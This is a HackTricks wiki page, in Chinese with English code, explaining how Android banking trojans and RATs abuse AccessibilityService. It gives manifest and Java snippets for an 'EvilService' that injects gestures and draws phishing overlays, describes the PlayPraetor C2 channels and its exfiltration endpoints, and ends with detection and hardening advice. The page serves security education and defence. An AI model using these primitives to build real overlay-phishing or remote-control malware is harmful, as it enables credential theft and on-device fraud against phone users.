Android Accessibility Service Abuse
Reading time: 7 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
概述
AccessibilityService
的创建是为了帮助残疾用户与 Android 设备进行交互。不幸的是,同样的 强大自动化 API(全局导航、文本输入、手势分发、覆盖窗口……)可以被恶意软件武器化,以在 无需 root 权限 的情况下获得 完全远程控制 手机的能力。
现代 Android 银行木马和远程访问木马(RAT)如 PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda 等等遵循相同的步骤:
- 通过社交工程让受害者启用一个恶意的辅助功能服务(BIND_ACCESSIBILITY_SERVICE 权限被视为“高风险”,并需要用户的明确操作)。
- 利用该服务来
- 捕获屏幕上出现的每个 UI 事件和文本,
- 注入合成手势(
dispatchGesture
)和全局操作(performGlobalAction
)以自动化操作员所需的任何任务, - 在合法应用程序上方绘制全屏覆盖,使用 TYPE_ACCESSIBILITY_OVERLAY 窗口类型(没有
SYSTEM_ALERT_WINDOW
提示!), - 代表受害者点击系统对话框,静默授予额外的运行时权限。
- 在用户查看完全正常的屏幕时,实时提取数据或执行 On-Device-Fraud (ODF)。
请求权限
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
伴随的 XML 定义了假对话框的外观:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
远程 UI 自动化原语
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
仅凭这两个API,攻击者可以:
- 解锁屏幕,打开银行应用,浏览其UI树并提交转账表单。
- 接受每个弹出的权限对话框。
- 通过Play Store意图安装/更新额外的APK。
滥用模式
1. 悬浮钓鱼(凭证收集)
一个透明或不透明的 WebView
被添加到窗口管理器:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
受害者在假表单中输入凭据,而后台应用接收相同的手势——从未显示可疑的“在其他应用上绘制”提示。
详细示例:Accessibility Overlay Phishing部分在Tapjacking页面内。
2. 设备内欺诈自动化
恶意软件家族如PlayPraetor维护一个持久的WebSocket通道,操作员可以发出高级命令(init
,update
,alert_arr
,report_list
,……)。该服务将这些命令转换为上述低级手势,实现实时未经授权的交易,轻松绕过与该设备相关的多因素身份验证。
3. 屏幕流媒体与监控
通过将MediaProjection API与RTMP客户端库结合,RAT可以将实时帧缓冲区广播到rtmp://<c2>:1935/live/<device_id>
,使对手在Accessibility引擎驱动UI时获得完美的情境意识。
PlayPraetor – 命令与控制工作流程
- HTTP(S) 心跳 – 遍历硬编码列表,直到一个域以活动C2响应
POST /app/searchPackageName
。 - WebSocket (端口 8282) – 双向JSON命令:
update
– 推送新配置/APKalert_arr
– 配置覆盖模板report_list
– 发送目标包名称列表heartbeat_web
– 保持连接
- RTMP (端口 1935) – 实时屏幕/视频流媒体。
- REST 外泄 –
/app/saveDevice
(指纹)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(银行凭据)
AccessibilityService是将这些云命令转换为物理交互的本地引擎。
检测恶意无障碍服务
adb shell settings get secure enabled_accessibility_services
- 设置 → 无障碍 → 已下载服务 – 查找不是来自Google Play的应用。
- MDM / EMM解决方案可以强制执行
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+)以阻止侧载服务。 - 分析正在运行的服务:
adb shell dumpsys accessibility | grep "Accessibility Service"
应用开发者的加固建议
- 用
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
标记敏感视图(API 34+)。 - 将
setFilterTouchesWhenObscured(true)
与FLAG_SECURE
结合使用,以防止点击/覆盖劫持。 - 通过轮询
WindowManager.getDefaultDisplay().getFlags()
或ViewRootImpl
API检测覆盖。 - 当
Settings.canDrawOverlays()
或 非信任的无障碍服务处于活动状态时拒绝操作。
参考文献
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。